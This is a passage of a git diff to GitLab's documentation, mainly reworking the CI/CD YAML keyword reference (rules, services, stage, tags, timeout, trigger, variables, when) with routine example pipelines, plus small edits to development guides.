+- A [CI/CD variable expression](../jobs/job_control.md#cicd-variable-expressions).
+
+**Example of `rules:if`**:
+
+```yaml
+job:
+ script: echo "Hello, Rules!"
+ rules:
+ - if: '$CI_MERGE_REQUEST_SOURCE_BRANCH_NAME =~ /^feature/ && $CI_MERGE_REQUEST_TARGET_BRANCH_NAME != $CI_DEFAULT_BRANCH'
+ when: never
+ - if: '$CI_MERGE_REQUEST_SOURCE_BRANCH_NAME =~ /^feature/'
+ when: manual
+ allow_failure: true
+ - if: '$CI_MERGE_REQUEST_SOURCE_BRANCH_NAME'
+```
+
+**Additional details**:
+
+- If a rule matches and has no `when` defined, the rule uses the `when`
+ defined for the job, which defaults to `on_success` if not defined.
+- You can define `when` once per rule, or once at the job-level, which applies to
+ all rules. You can't mix `when` at the job-level with `when` in rules.
+- Unlike variables in [`script`](../variables/index.md#use-cicd-variables-in-job-scripts)
+ sections, variables in rules expressions are always formatted as `$VARIABLE`.
+ - You can use `rules:if` with `include` to [conditionally include other configuration files](includes.md#use-rules-with-include).
+
+**Related topics**:
+
+- [Common `if` expressions for `rules`](../jobs/job_control.md#common-if-clauses-for-rules).
+- [Avoid duplicate pipelines](../jobs/job_control.md#avoid-duplicate-pipelines).
+
+#### `rules:changes`
+
+Use `rules:changes` to specify when to add a job to a pipeline by checking for changes
+to specific files.
+
+WARNING:
+You should use `rules: changes` only with **branch pipelines** or **merge request pipelines**.
+You can use `rules: changes` with other pipeline types, but `rules: changes` always
+evaluates to true when there is no Git `push` event. Tag pipelines, scheduled pipelines,
+and so on do **not** have a Git `push` event associated with them. A `rules: changes` job
+is **always** added to those pipelines if there is no `if` that limits the job to
+branch or merge request pipelines.
+
+**Keyword type**: Job keyword. You can use it only as part of a job.
+
+**Possible inputs**:
+
+- An array of file paths. In GitLab 13.6 and later, [file paths can include variables](../jobs/job_control.md#variables-in-ruleschanges).
+
+**Example of `rules:changes`**:
+
+```yaml
+docker build:
+ script: docker build -t my-image:$CI_COMMIT_REF_SLUG .
+ rules:
+ - if: '$CI_PIPELINE_SOURCE == "merge_request_event"'
+ changes:
+ - Dockerfile
+ when: manual
+ allow_failure: true
+```
+
+- If the pipeline is a merge request pipeline, check `Dockerfile` for changes.
+- If `Dockerfile` has changed, add the job to the pipeline as a manual job, and the pipeline
+ continues running even if the job is not triggered (`allow_failure: true`).
+- If `Dockerfile` has not changed, do not add job to any pipeline (same as `when: never`).
+
+**Additional details**:
+
+- `rules: changes` works the same way as [`only: changes` and `except: changes`](#onlychanges--exceptchanges).
+- You can use `when: never` to implement a rule similar to [`except:changes`](#onlychanges--exceptchanges).
+- `changes` resolves to `true` if any of the matching files are changed (an `OR` operation).
+
+#### `rules:exists`
+
+> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/24021) in GitLab 12.4.
+
+Use `exists` to run a job when certain files exist in the repository.
+
+**Keyword type**: Job keyword. You can use it only as part of a job.
+
+**Possible inputs**:
+
+- An array of file paths. Paths are relative to the project directory (`$CI_PROJECT_DIR`)
+ and can't directly link outside it. File paths can use glob patterns.
+
+**Example of `rules:exists`**:
+
+```yaml
+job:
+ script: docker build -t my-image:$CI_COMMIT_REF_SLUG .
+ rules:
+ - exists:
+ - Dockerfile
+```
+
+`job` runs if a `Dockerfile` exists anywhere in the repository.
+
+**Additional details**:
+
+- Glob patterns are interpreted with Ruby [`File.fnmatch`](https://docs.ruby-lang.org/en/2.7.0/File.html#method-c-fnmatch)
+ with the flags `File::FNM_PATHNAME | File::FNM_DOTMATCH | File::FNM_EXTGLOB`.
+- For performance reasons, GitLab matches a maximum of 10,000 `exists` patterns or
+ file paths. After the 10,000th check, rules with patterned globs always match.
+ In other words, the `exists` rule always assumes a match in projects with more
+ than 10,000 files.
+- `exists` resolves to `true` if any of the listed files are found (an `OR` operation).
+
+#### `rules:allow_failure`
+
+> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/30235) in GitLab 12.8.
+
+Use [`allow_failure: true`](#allow_failure) in `rules` to allow a job to fail
+without stopping the pipeline.
+
+You can also use `allow_failure: true` with a manual job. The pipeline continues
+running without waiting for the result of the manual job. `allow_failure: false`
+combined with `when: manual` in rules causes the pipeline to wait for the manual
+job to run before continuing.
+
+**Keyword type**: Job keyword. You can use it only as part of a job.
+
+**Possible inputs**:
+
+- `true` or `false`. Defaults to `false` if not defined.
+
+**Example of `rules:allow_failure`**:
+
+```yaml
+job:
+ script: echo "Hello, Rules!"
+ rules:
+ - if: '$CI_MERGE_REQUEST_TARGET_BRANCH_NAME == $CI_DEFAULT_BRANCH'
+ when: manual
+ allow_failure: true
+```
+
+If the rule matches, then the job is a manual job with `allow_failure: true`.
+
+**Additional details**:
+
+- The rule-level `rules:allow_failure` overrides the job-level [`allow_failure`](#allow_failure),
+ and only applies when the specific rule triggers the job.
+
+#### `rules:variables`
+
+> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/209864) in GitLab 13.7.
+> - [Feature flag removed](https://gitlab.com/gitlab-org/gitlab/-/issues/289803) in GitLab 13.10.
+
+Use [`variables`](#variables) in `rules` to define variables for specific conditions.
+
+**Keyword type**: Job-specific. You can use it only as part of a job.
+
+**Possible inputs**:
+
+- A hash of variables in the format `VARIABLE-NAME: value`.
+
+**Example of `rules:variables`**:
+
+```yaml
+job:
+ variables:
+ DEPLOY_VARIABLE: "default-deploy"
+ rules:
+ - if: $CI_COMMIT_REF_NAME == $CI_DEFAULT_BRANCH
+ variables: # Override DEPLOY_VARIABLE defined
+ DEPLOY_VARIABLE: "deploy-production" # at the job level.
+ - if: $CI_COMMIT_REF_NAME =~ /feature/
+ variables:
+ IS_A_FEATURE: "true" # Define a new variable.
+ script:
+ - echo "Run script with $DEPLOY_VARIABLE as an argument"
+ - echo "Run another script if $IS_A_FEATURE exists"
+```
+
+### `script`
+
+Use `script` to specify commands for the runner to execute.
+
+All jobs except [trigger jobs](#trigger) require a `script` keyword.
+
+**Keyword type**: Job keyword. You can use it only as part of a job.
+
+**Possible inputs**: An array including:
+
+- Single line commands.
+- Long commands [split over multiple lines](script.md#split-long-commands).
+- [YAML anchors](yaml_optimization.md#yaml-anchors-for-scripts).
+
+**Example of `script`**:
+
+```yaml
+job1:
+ script: "bundle exec rspec"
+
+job2:
+ script:
+ - uname -a
+ - bundle exec rspec
+```
+
+**Additional details**:
+
+- When you use [these special characters in `script`](script.md#use-special-characters-with-script), you must use single quotes (`'`) or double quotes (`"`) .
+
+**Related topics**:
+
+- You can [ignore non-zero exit codes](script.md#ignore-non-zero-exit-codes).
+- [Use color codes with `script`](script.md#add-color-codes-to-script-output)
+ to make job logs easier to review.
+- [Create custom collapsible sections](../jobs/index.md#custom-collapsible-sections)
+ to simplify job log output.
+
### `secrets` **(PREMIUM)**
> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/33014) in GitLab 13.4.
@@ -3926,7 +3337,9 @@ the secret value directly in the variable.
**Keyword type**: Job keyword. You can use it only as part of a job.
-**Possible inputs**: `true` (default) or `false`.
+**Possible inputs**:
+
+- `true` (default) or `false`.
**Example of `secrets:file`**:
@@ -3943,118 +3356,323 @@ job:
- The `file` keyword is a setting for the CI/CD variable and must be nested under
the CI/CD variable name, not in the `vault` section.
-### `pages`
+### `services`
-Use `pages` to define a [GitLab Pages](../../user/project/pages/index.md) job that
-uploads static content to GitLab. The content is then published as a website.
+Use `services` to specify an additional Docker image to run scripts in. The [`services` image](../services/index.md) is linked
+to the image specified in the [`image`](#image) keyword.
-**Keyword type**: Job name.
+**Keyword type**: Job keyword. You can use it only as part of a job or in the
+[`default` section](#default).
-**Example of `pages`**:
+**Possible inputs**: The name of the services image, including the registry path if needed, in one of these formats:
+
+- `<image-name>` (Same as using `<image-name>` with the `latest` tag)
+- `<image-name>:<tag>`
+- `<image-name>@<digest>`
+
+**Example of `services`**:
```yaml
-pages:
- stage: deploy
+default:
+ image:
+ name: ruby:2.6
+ entrypoint: ["/bin/bash"]
+
+ services:
+ - name: my-postgres:11.7
+ alias: db-postgres
+ entrypoint: ["/usr/local/bin/db-postgres"]
+ command: ["start"]
+
+ before_script:
+ - bundle install
+
+test:
script:
- - mkdir .public
- - cp -r * .public
- - mv .public public
- artifacts:
- paths:
- - public
- rules:
- - if: $CI_COMMIT_BRANCH == $CI_DEFAULT_BRANCH
+ - bundle exec rake spec
```
-This example moves all files from the root of the project to the `public/` directory.
-The `.public` workaround is so `cp` does not also copy `public/` to itself in an infinite loop.
+In this example, the job launches a Ruby container. Then, from that container, the job launches
+another container that's running PostgreSQL. Then the job then runs scripts
+in that container.
+
+**Related topics**:
+
+- [Available settings for `services`](../services/index.md#available-settings-for-services).
+- [Define `services` in the `.gitlab-ci.yml` file](../services/index.md#define-services-in-the-gitlab-ciyml-file).
+- [Run your CI/CD jobs in Docker containers](../docker/using_docker_images.md).
+- [Use Docker to build Docker images](../docker/using_docker_build.md).
+
+### `stage`
+
+Use `stage` to define which [stage](#stages) a job runs in. Jobs in the same
+`stage` can execute in parallel (see **Additional details**).
+
+If `stage` is not defined, the job uses the `test` stage by default.
+
+**Keyword type**: Job keyword. You can use it only as part of a job.
+
+**Possible inputs**: An array including any number of stage names. Stage names can be:
+
+- The [default stages](#stages).
+- User-defined stages.
+
+**Example of `stage`**:
+
+```yaml
+stages:
+ - build
+ - test
+ - deploy
+
+job1:
+ stage: build
+ script:
+ - echo "This job compiles code."
+
+job2:
+ stage: test
+ script:
+ - echo "This job tests the compiled code. It runs when the build stage completes."
+
+job3:
+ script:
+ - echo "This job also runs in the test stage".
+
+job4:
+ stage: deploy
+ script:
+ - echo "This job deploys the code. It runs when the test stage completes."
+```
**Additional details**:
-You must:
+- Jobs can run in parallel if they run on different runners.
+- If you have only one runner, jobs can run in parallel if the runner's
+ [`concurrent` setting](https://docs.gitlab.com/runner/configuration/advanced-configuration.html#the-global-section)
+ is greater than `1`.
-- Place any static content in a `public/` directory.
-- Define [`artifacts`](#artifacts) with a path to the `public/` directory.
+#### `stage: .pre`
-### `inherit`
+> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/31441) in GitLab 12.4.
-> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/207484) in GitLab 12.9.
+Use the `.pre` stage to make a job run at the start of a pipeline. `.pre` is
+always the first stage in a pipeline. User-defined stages execute after `.pre`.
+You do not have to define `.pre` in [`stages`](#stages).
-Use `inherit:` to [control inheritance of globally-defined defaults and variables](../jobs/index.md#control-the-inheritance-of-default-keywords-and-global-variables).
+You must have a job in at least one stage other than `.pre` or `.post`.
-#### `inherit:default`
+**Keyword type**: You can only use it with a job's `stage` keyword.
-Use `inherit:default` to control the inheritance of [default keywords](#default).
+**Example of `stage: .pre`**:
-**Keyword type**: Job keyword. You can use it only as part of a job.
+```yaml
+stages:
+ - build
+ - test
-**Possible inputs**:
+job1:
+ stage: build
+ script:
+ - echo "This job runs in the build stage."
-- `true` (default) or `false` to enable or disable the inheritance of all default keywords.
-- A list of specific default keywords to inherit.
+first-job:
+ stage: .pre
+ script:
+ - echo "This job runs in the .pre stage, before all other stages."
+
+job2:
+ stage: test
+ script:
+ - echo "This job runs in the test stage."
+```
+
+#### `stage: .post`
+
+> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/31441) in GitLab 12.4.
-**Example of `inherit:default`:**
+Use the `.post` stage to make a job run at the end of a pipeline. `.post`
+is always the last stage in a pipeline. User-defined stages execute before `.post`.
+You do not have to define `.post` in [`stages`](#stages).
+
+You must have a job in at least one stage other than `.pre` or `.post`.
+
+**Keyword type**: You can only use it with a job's `stage` keyword.
+
+**Example of `stage: .post`**:
```yaml
-default:
- retry: 2
- image: ruby:3.0
- interruptible: true
+stages:
+ - build
+ - test
job1:
- script: echo "This job does not inherit any default keywords."
- inherit:
- default: false
+ stage: build
+ script:
+ - echo "This job runs in the build stage."
+
+last-job:
+ stage: .post
+ script:
+ - echo "This job runs in the .post stage, after all other stages."
job2:
- script: echo "This job inherits only the two listed default keywords. It does not inherit 'interruptible'."
- inherit:
- default:
- - retry
- - image
+ stage: test
+ script:
+ - echo "This job runs in the test stage."
```
-**Additional details:**
+### `tags`
-- You can also list default keywords to inherit on one line: `default: [keyword1, keyword2]`
+> - A limit of 50 tags per job [enabled on GitLab.com](https://gitlab.com/gitlab-org/gitlab/-/issues/338929) in GitLab 14.3.
+> - A limit of 50 tags per job [enabled on self-managed](https://gitlab.com/gitlab-org/gitlab/-/issues/339855) in GitLab 14.3.
-#### `inherit:variables`
+Use `tags` to select a specific runner from the list of all runners that are
+available for the project.
-Use `inherit:variables` to control the inheritance of [global variables](#variables) keywords.
+When you register a runner, you can specify the runner's tags, for
+example `ruby`, `postgres`, or `development`. To pick up and run a job, a runner must
+be assigned every tag listed in the job.
+
+**Keyword type**: Job keyword. You can use it only as part of a job or in the
+[`default` section](#default).
+
+**Possible inputs**:
+
+- An array of tag names.
+- [CI/CD variables](../runners/configure_runners.md#use-cicd-variables-in-tags) in GitLab 14.1 and later.
+
+**Example of `tags`**:
+
+```yaml
+job:
+ tags:
+ - ruby
+ - postgres
+```
+
+In this example, only runners with *both* the `ruby` and `postgres` tags can run the job.
+
+**Additional details**:
+
+- In [GitLab 14.3](https://gitlab.com/gitlab-org/gitlab/-/issues/338479) and later,
+ the number of tags must be less than `50`.
+
+**Related topics**:
+
+- [Use tags to control which jobs a runner can run](../runners/configure_runners.md#use-tags-to-control-which-jobs-a-runner-can-run).
+
+### `timeout`
+
+> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/14887) in GitLab 12.3.
+
+Use `timeout` to configure a timeout for a specific job. If the job runs for longer
+than the timeout, the job fails.
+
+The job-level timeout can be longer than the [project-level timeout](../pipelines/settings.md#set-a-limit-for-how-long-jobs-can-run).
+but can't be longer than the [runner's timeout](../runners/configure_runners.md#set-maximum-job-timeout-for-a-runner).
+
+**Keyword type**: Job keyword. You can use it only as part of a job or in the
+[`default` section](#default).
+
+**Possible inputs**: A period of time written in natural language. For example, these are all equivalent:
+
+- `3600 seconds`
+- `60 minutes`
+- `one hour`
+
+**Example of `timeout`**:
+
+```yaml
+build:
+ script: build.sh
+ timeout: 3 hours 30 minutes
+
+test:
+ script: rspec
+ timeout: 3h 30m
+```
+
+### `trigger`
+
+> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/8997) in GitLab Premium 11.8.
+> - [Moved](https://gitlab.com/gitlab-org/gitlab/-/issues/199224) to GitLab Free in 12.8.
+
+Use `trigger` to start a downstream pipeline that is either:
+
+- [A multi-project pipeline](../pipelines/multi_project_pipelines.md).
+- [A child pipeline](../pipelines/parent_child_pipelines.md).
**Keyword type**: Job keyword. You can use it only as part of a job.
**Possible inputs**:
-- `true` (default) or `false` to enable or disable the inheritance of all global variables.
-- A list of specific variables to inherit.
+- For multi-project pipelines, path to the downstream project.
+- For child pipelines, path to the child pipeline CI/CD configuration file.
-**Example of `inherit:variables`:**
+**Example of `trigger` for multi-project pipeline**:
```yaml
-variables:
- VARIABLE1: "This is variable 1"
- VARIABLE2: "This is variable 2"
- VARIABLE3: "This is variable 3"
+rspec:
+ stage: test
+ script: bundle exec rspec
-job1:
- script: echo "This job does not inherit any global variables."
- inherit:
- variables: false
+staging:
+ stage: deploy
+ trigger: my/deployment
+```
-job2:
- script: echo "This job inherits only the two listed global variables. It does not inherit 'VARIABLE3'."
- inherit:
- variables:
- - VARIABLE1
- - VARIABLE2
+**Example of `trigger` for child pipelines**:
+
+```yaml
+trigger_job:
+ trigger:
+ include: path/to/child-pipeline.yml
```
-**Additional details:**
+**Additional details**:
-- You can also list global variables to inherit on one line: `variables: [VARIABLE1, VARIABLE2]`
+- Jobs with `trigger` can only use a [limited set of keywords](../pipelines/multi_project_pipelines.md#define-multi-project-pipelines-in-your-gitlab-ciyml-file).
+ For example, you can't run commands with [`script`](#script), [`before_script`](#before_script),
+ or [`after_script`](#after_script).
+- You [cannot use the API to start `when:manual` trigger jobs](https://gitlab.com/gitlab-org/gitlab/-/issues/284086).
+- In [GitLab 13.5 and later](https://gitlab.com/gitlab-org/gitlab/-/issues/201938), you
+ can use [`when:manual`](#when) in the same job as `trigger`. In GitLab 13.4 and
+ earlier, using them together causes the error `jobs:#{job-name} when should be on_success, on_failure or always`.
+- In [GitLab 13.2 and later](https://gitlab.com/gitlab-org/gitlab/-/issues/197140/), you can
+ view which job triggered a downstream pipeline in the [pipeline graph](../pipelines/index.md#visualize-pipelines).
+
+**Related topics**:
+
+- [Multi-project pipeline configuration examples](../pipelines/multi_project_pipelines.md#define-multi-project-pipelines-in-your-gitlab-ciyml-file).
+- [Child pipeline configuration examples](../pipelines/parent_child_pipelines.md#examples).
+- To run a pipeline for a specific branch, tag, or commit, you can use a [trigger token](../triggers/index.md)
+ to authenticate with the [pipeline triggers API](../../api/pipeline_triggers.md).
+ The trigger token is different than the `trigger` keyword.
+
+#### `trigger:strategy`
+
+Use `trigger:strategy` to force the `trigger` job to wait for the downstream pipeline to complete
+before it is marked as **success**.
+
+This behavior is different than the default, which is for the `trigger` job to be marked as
+**success** as soon as the downstream pipeline is created.
+
+This setting makes your pipeline execution linear rather than parallel.
+
+**Example of `trigger:strategy`**:
+
+```yaml
+trigger_job:
+ trigger:
+ include: path/to/child-pipeline.yml
+ strategy: depend
+```
+
+In this example, jobs from subsequent stages wait for the triggered pipeline to
+successfully complete before starting.
-## `variables`
+### `variables`
[CI/CD variables](../variables/index.md) are configurable values that are passed to jobs.
Use `variables` to create [custom variables](../variables/index.md#custom-cicd-variables).
@@ -4071,10 +3689,11 @@ variable defined, the [job-level variable takes precedence](../variables/index.m
**Possible inputs**: Variable name and value pairs:
-- The name can use only numbers, letters, and underscores (`_`).
+- The name can use only numbers, letters, and underscores (`_`). In some shells,
+ the first character must be a letter.
- The value must be a string.
-**Examples of `variables`:**
+**Examples of `variables`**:
```yaml
variables:
@@ -4106,7 +3725,7 @@ deploy_review_job:
automatically creates and makes available in the job.
- You can [configure runner behavior with variables](../runners/configure_runners.md#configure-runner-behavior-with-variables).
-### `variables:description`
+#### `variables:description`
> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/30101) in GitLab 13.7.
@@ -4117,7 +3736,9 @@ Must be used with `value`, for the variable value.
**Keyword type**: Global keyword. You cannot set job-level variables to be pre-filled when you run a pipeline manually.
-**Possible inputs**: A string.
+**Possible inputs**:
+
+- A string.
**Example of `variables:description`**:
@@ -4128,6 +3749,84 @@ variables:
description: "The deployment target. Change this variable to 'canary' or 'production' if needed."
```
+### `when`
+
+Use `when` to configure the conditions for when jobs run. If not defined in a job,
+the default value is `when: on_success`.
+
+**Keyword type**: Job keyword. You can use it only as part of a job.
+
+**Possible inputs**:
+
+- `on_success` (default): Run the job only when all jobs in earlier stages succeed
+ or have `allow_failure: true`.
+- `manual`: Run the job only when [triggered manually](../jobs/job_control.md#create-a-job-that-must-be-run-manually).
+- `always`: Run the job regardless of the status of jobs in earlier stages.
+- `on_failure`: Run the job only when at least one job in an earlier stage fails.
+- `delayed`: [Delay the execution of a job](../jobs/job_control.md#run-a-job-after-a-delay)
+ for a specified duration.
+- `never`: Don't run the job.
+
+**Example of `when`**:
+
+```yaml
+stages:
+ - build
+ - cleanup_build
+ - test
+ - deploy
+ - cleanup
+
+build_job:
+ stage: build
+ script:
+ - make build
+
+cleanup_build_job:
+ stage: cleanup_build
+ script:
+ - cleanup build when failed
+ when: on_failure
+
+test_job:
+ stage: test
+ script:
+ - make test
+
+deploy_job:
+ stage: deploy
+ script:
+ - make deploy
+ when: manual
+
+cleanup_job:
+ stage: cleanup
+ script:
+ - cleanup after jobs
+ when: always
+```
+
+In this example, the script:
+
+1. Executes `cleanup_build_job` only when `build_job` fails.
+1. Always executes `cleanup_job` as the last step in pipeline regardless of
+ success or failure.
+1. Executes `deploy_job` when you run it manually in the GitLab UI.
+
+**Additional details**:
+
+- In [GitLab 13.5 and later](https://gitlab.com/gitlab-org/gitlab/-/issues/201938), you
+ can use `when:manual` in the same job as [`trigger`](#trigger). In GitLab 13.4 and
+ earlier, using them together causes the error `jobs:#{job-name} when should be on_success, on_failure or always`.
+- The default behavior of `allow_failure` changes to `true` with `when: manual`.
+ However, if you use `when: manual` with [`rules`](#rules), `allow_failure` defaults
+ to `false`.
+
+**Related topics**:
+
+- `when` can be used with [`rules`](#rules) for more dynamic job control.
+- `when` can be used with [`workflow`](#workflow) to control when a pipeline can start.
+
## Deprecated keywords
The following keywords are deprecated.
@@ -4150,7 +3849,7 @@ Defining `image`, `services`, `cache`, `before_script`, and
`after_script` globally is deprecated. Support could be removed
from a future release.
-Use [`default:`](#default) instead. For example:
+Use [`default`](#default) instead. For example:
```yaml
default:
diff --git a/doc/ci/yaml/script.md b/doc/ci/yaml/script.md
index c1b283ff10f..fdec0947df5 100644
--- a/doc/ci/yaml/script.md
+++ b/doc/ci/yaml/script.md
@@ -13,7 +13,7 @@ You can use special syntax in [`script`](index.md#script) sections to:
- [Create custom collapsible sections](../jobs/index.md#custom-collapsible-sections)
to simplify job log output.
-## Use special characters with `script:`
+## Use special characters with `script`
Sometimes, `script` commands must be wrapped in single or double quotes.
For example, commands that contain a colon (`:`) must be wrapped in single quotes (`'`).
@@ -101,7 +101,7 @@ WARNING:
If multiple commands are combined into one command string, only the last command's
failure or success is reported.
[Failures from earlier commands are ignored due to a bug](https://gitlab.com/gitlab-org/gitlab-runner/-/issues/25394).
-To work around this, run each command as a separate `script:` item, or add an `exit 1`
+To work around this, run each command as a separate `script` item, or add an `exit 1`
command to each command string.
You can use the `|` (literal) YAML multiline block scalar indicator to write
diff --git a/doc/ci/yaml/workflow.md b/doc/ci/yaml/workflow.md
index 67ca1150553..332214638d8 100644
--- a/doc/ci/yaml/workflow.md
+++ b/doc/ci/yaml/workflow.md
@@ -4,7 +4,7 @@ group: Pipeline Authoring
info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
-# GitLab CI/CD `workflow` keyword
+# GitLab CI/CD `workflow` keyword **(FREE)**
Use the [`workflow`](index.md#workflow) keyword to control when pipelines are created.
diff --git a/doc/development/adding_database_indexes.md b/doc/development/adding_database_indexes.md
index 571d2f353d4..0e8e8289464 100644
--- a/doc/development/adding_database_indexes.md
+++ b/doc/development/adding_database_indexes.md
@@ -317,11 +317,11 @@ end
You must test the database index changes locally before creating a merge request.
-### Verify indexes created asynchronously
+### Verify indexes created asynchronously
Use the asynchronous index helpers on your local environment to test changes for creating an index:
1. Enable the feature flags by running `Feature.enable(:database_async_index_creation)` and `Feature.enable(:database_reindexing)` in the Rails console.
1. Run `bundle exec rails db:migrate` so that it creates an entry in the `postgres_async_indexes` table.
1. Run `bundle exec rails gitlab:db:reindex` so that the index is created asynchronously.
-1. To verify the index, open the PostgreSQL console using the [GDK](https://gitlab.com/gitlab-org/gitlab-development-kit/-/blob/main/doc/howto/postgresql.md) command `gdk psql` and run the command `\d <index_name>` to check that your newly created index exists.
+1. To verify the index, open the PostgreSQL console using the [GDK](https://gitlab.com/gitlab-org/gitlab-development-kit/-/blob/main/doc/howto/postgresql.md) command `gdk psql` and run the command `\d <index_name>` to check that your newly created index exists.
diff --git a/doc/development/api_graphql_styleguide.md b/doc/development/api_graphql_styleguide.md
index 9a17ac4c813..afd745533c9 100644
--- a/doc/development/api_graphql_styleguide.md
+++ b/doc/development/api_graphql_styleguide.md
@@ -152,8 +152,8 @@ The `iid`, `title` and `description` are _scalar_ GraphQL types.
`title` and `description` are regular `GraphQL::Types::String` types.
Note that the old scalar types `GraphQL:ID`, `GraphQL::INT_TYPE`, `GraphQL::STRING_TYPE`,
-and `GraphQL:BOOLEAN_TYPE` are no longer allowed. Please use `GraphQL::Types::ID`,
-`GraphQL::Types::Int`, `GraphQL::Types::String`, and `GraphQL::Types::Boolean`.
+`GraphQL:BOOLEAN_TYPE`, and `GraphQL::FLOAT_TYPE` are no longer allowed. Please use `GraphQL::Types::ID`,
+`GraphQL::Types::Int`, `GraphQL::Types::String`, `GraphQL::Types::Boolean`, and `GraphQL::Types::Float`.
When exposing a model through the GraphQL API, we do so by creating a
new type in `app/graphql/types`. You can also declare custom GraphQL data types
@@ -698,7 +698,10 @@ aware of the support.
The documentation will mention that the old Global ID style is now deprecated.
-See also [Aliasing and deprecating mutations](#aliasing-and-deprecating-mutations).
+See also:
+
+- [Aliasing and deprecating mutations](#aliasing-and-deprecating-mutations).
+- [How to filter Kibana for queries that used deprecated fields](graphql_guide/monitoring.md#queries-that-used-a-deprecated-field).
## Enums
@@ -830,7 +833,7 @@ field :id, GraphQL::Types::ID, description: 'ID of the resource.'
Descriptions of fields and arguments are viewable to users through:
- The [GraphiQL explorer](#graphiql).
-- The [static GraphQL API reference](../api/graphql/#reference).
+- The [static GraphQL API reference](../api/graphql/reference/index.md).
### Description style guide
@@ -2027,3 +2030,7 @@ elimination of laziness, where needed.
For dealing with lazy values without forcing them, use
`Gitlab::Graphql::Lazy.with_value`.
+
+## Monitoring GraphQL
+
+See the [Monitoring GraphQL](graphql_guide/monitoring.md) guide for tips on how to inspect logs of GraphQL requests and monitor the performance of your GraphQL queries.
diff --git a/doc/development/application_slis/index.md b/doc/development/application_slis/index.md
index 5bc6fffdb48..87c0bcfede5 100644
--- a/doc/development/application_slis/index.md
+++ b/doc/development/application_slis/index.md
@@ -180,7 +180,7 @@ alerts about the SLI in specified Slack channels. For more information, read the
[alert routing documentation](https://gitlab.com/gitlab-com/runbooks/-/blob/master/docs/uncategorized/alert-routing.md).
In [this project](https://gitlab.com/groups/gitlab-com/gl-infra/-/epics/614)
we are extending this so alerts for SLIs with a `feature_category`
-label in the souce metrics can also be routed.
+label in the source metrics can also be routed.
For any question, please don't hesitate to create an issue in
[the Scalability issue tracker](https://gitlab.com/gitlab-com/gl-infra/scalability/-/issues)
diff --git a/doc/development/architecture.md b/doc/development/architecture.md
index 38d0d5d7843..078eb5dd0de 100644
--- a/doc/development/architecture.md
+++ b/doc/development/architecture.md
@@ -126,7 +126,7 @@ graph LR
Geo -- TCP 22 --> SSH
Geo -- TCP 5432 --> PostgreSQL
Runner{{GitLab Runner}} -- TCP 443 --> HTTP
- K8sAgent{{GitLab Kubernetes Agent}} -- TCP 443 --> HTTP
+ K8sAgent{{GitLab Agent}} -- TCP 443 --> HTTP
%% GitLab Application Suite
subgraph GitLab
@@ -157,7 +157,7 @@ graph LR
Puma["Puma (GitLab Rails)"]
Puma <--> Registry
GitLabWorkhorse[GitLab Workhorse] <--> Puma
- GitLabKas[GitLab Kubernetes Agent Server] --> GitLabWorkhorse
+ GitLabKas[GitLab Agent Server] --> GitLabWorkhorse
GitLabPages[GitLab Pages] --> GitLabWorkhorse
Mailroom
Sidekiq
@@ -349,7 +349,7 @@ Component statuses are linked to configuration documentation for each component.
| [GitLab Exporter](#gitlab-exporter) | Generates a variety of GitLab metrics | ✅ | ✅ | ✅ | ✅ | ✅ | ⌠| ⌠| CE & EE |
| [GitLab Geo Node](#gitlab-geo) | Geographically distributed GitLab nodes | ⚙ | ⚙ | ⌠| ⌠| ✅ | ⌠| ⚙ | EE Only |
| [GitLab Pages](#gitlab-pages) | Hosts static websites | ⚙ | ⚙ | ⌠| ⌠| ✅ | ⚙ | ⚙ | CE & EE |
-| [GitLab Kubernetes Agent](#gitlab-kubernetes-agent) | Integrate Kubernetes clusters in a cloud-native way | ⚙ | ⚙ | ⚙ | ⌠| ⌠| ⤓ | ⚙ | EE Only |
+| [GitLab Agent](#gitlab-agent) | Integrate Kubernetes clusters in a cloud-native way | ⚙ | ⚙ | ⚙ | ⌠| ⌠| ⤓ | ⚙ | EE Only |
| [GitLab self-monitoring: Alertmanager](#alertmanager) | Deduplicates, groups, and routes alerts from Prometheus | ⚙ | ⚙ | ✅ | ⚙ | ✅ | ⌠| ⌠| CE & EE |
| [GitLab self-monitoring: Grafana](#grafana) | Metrics dashboard | ✅ | ✅ | ⚙ | ⤓ | ✅ | ⌠| ⚙ | CE & EE |
| [GitLab self-monitoring: Jaeger](#jaeger) | View traces generated by the GitLab instance | ⌠| ⚙ | ⚙ | ⌠| ⌠| ⤓ | ⚙ | CE & EE |
@@ -499,14 +499,14 @@ Geo is a premium feature built to help speed up the development of distributed t
GitLab Exporter is a process designed in house that allows us to export metrics about GitLab application internals to Prometheus. You can read more [in the project's README](https://gitlab.com/gitlab-org/gitlab-exporter).
-#### GitLab Kubernetes Agent
+#### GitLab Agent
- [Project page](https://gitlab.com/gitlab-org/cluster-integration/gitlab-agent)
- Configuration:
- [Omnibus](https://gitlab.com/gitlab-org/omnibus-gitlab/blob/master/files/gitlab-config-template/gitlab.rb.template)
- [Charts](https://docs.gitlab.com/charts/charts/gitlab/kas/index.html)
-[GitLab Kubernetes Agent](../user/clusters/agent/index.md) is an active in-cluster
+The [GitLab Agent](../user/clusters/agent/index.md) is an active in-cluster
component for solving GitLab and Kubernetes integration tasks in a secure and
cloud-native way.
diff --git a/doc/development/audit_event_guide/index.md b/doc/development/audit_event_guide/index.md
index 65a7fa0ae90..ae2f9748178 100644
--- a/doc/development/audit_event_guide/index.md
+++ b/doc/development/audit_event_guide/index.md
@@ -176,3 +176,14 @@ deactivate B
In addition to recording to the database, we also write these events to
[a log file](../../administration/logs.md#audit_jsonlog).
+
+## Event streaming
+
+All events where the entity is a `Group` or `Project` are recorded in the audit log, and also streamed to one or more
+[event streaming destinations](../../administration/audit_event_streaming.md). When the entity is a:
+
+- `Group`, events are streamed to the group's root ancestor's event streaming destinations.
+- `Project`, events are streamed to the project's root ancestor's event streaming destinations.
+
+This feature is under heavy development. Follow the [parent epic](https://gitlab.com/groups/gitlab-org/-/epics/5925) for updates on feature
+development.
